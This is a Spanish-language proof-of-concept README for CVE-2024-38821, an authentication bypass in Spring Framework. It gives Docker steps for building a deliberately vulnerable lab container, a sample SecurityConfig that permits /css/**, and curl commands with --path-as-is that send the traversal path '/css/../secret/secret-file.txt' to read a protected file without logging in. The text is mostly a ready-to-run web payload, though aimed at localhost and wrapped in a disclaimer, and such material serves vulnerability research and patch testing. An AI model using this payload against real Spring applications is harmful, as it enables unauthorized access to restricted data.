
Exploit de prueba de concepto para CVE-2024-38821, que demuestra la omisión de autenticación en Spring Framework mediante path traversal para acceder a recursos restringidos.
Esta es una prueba de concepto para la vulnerabilidad CVE-2024-38821
Construir la imagen Docker (Spring Boot 3.3.4, basado en Spring Framework 6.1.13)
cd vuln
docker build -t cve-2024-38821-poc .
Ejecutar el contenedor y exponer el puerto 8080 a la máquina host
docker run -d -p 8080:8080 --name cve-2024-38821-poc cve-2024-38821-poc
Ejecutar el siguiente comando para ejecutar el PoC y confirmar la vulnerabilidad
curl -v --path-as-is "http://localhost:8080/secret/secret-file.txt" # Expected: 302 response (login required)
curl -v --path-as-is "http://localhost:8080/css/../secret/secret-file.txt" # Expected: 200 response (bypassed authentication)
Si el ataque tiene éxito, la respuesta mostrará: This is a secret file.
Crear SecurityConfig.java para configurar los permisos de acceso:
public SecurityWebFilterChain securityWebFilterChain(ServerHttpSecurity http) {
return http
.authorizeExchange(exchange -> exchange
.pathMatchers("/css/**", "/").permitAll() // Static resources and the top page do not require authentication
.pathMatchers("/secret/**").authenticated() // Authentication is required for the "secret" path
.anyExchange().authenticated() // Authentication is required for all other paths
)
.formLogin().and() // Enable form-based authentication
.build();
}
Crear el siguiente payload. Dado que el payload comienza con /css/, coincide con el patrón de ruta permitido. No comienza con /secret/, por lo que no coincide con el patrón de ruta que requiere autenticación:
/css/../secret/secret-file.txtUsar el siguiente comando curl para ejecutar el PoC y verificar si el ataque tiene éxito:
# Note: The --path-as-is option is required to send the request without URL normalization.
curl -v --path-as-is "http://localhost:8080/css/../secret/secret-file.txt"
Este PoC se proporciona con fines educativos y de investigación en seguridad. Antes de usarlo en un sistema real, asegúrate de que la vulnerabilidad haya sido corregida y de contar con la autorización adecuada. El autor no se hace responsable del mal uso de este código.
Si el ataque tiene éxito, la respuesta mostrará: This is a secret file.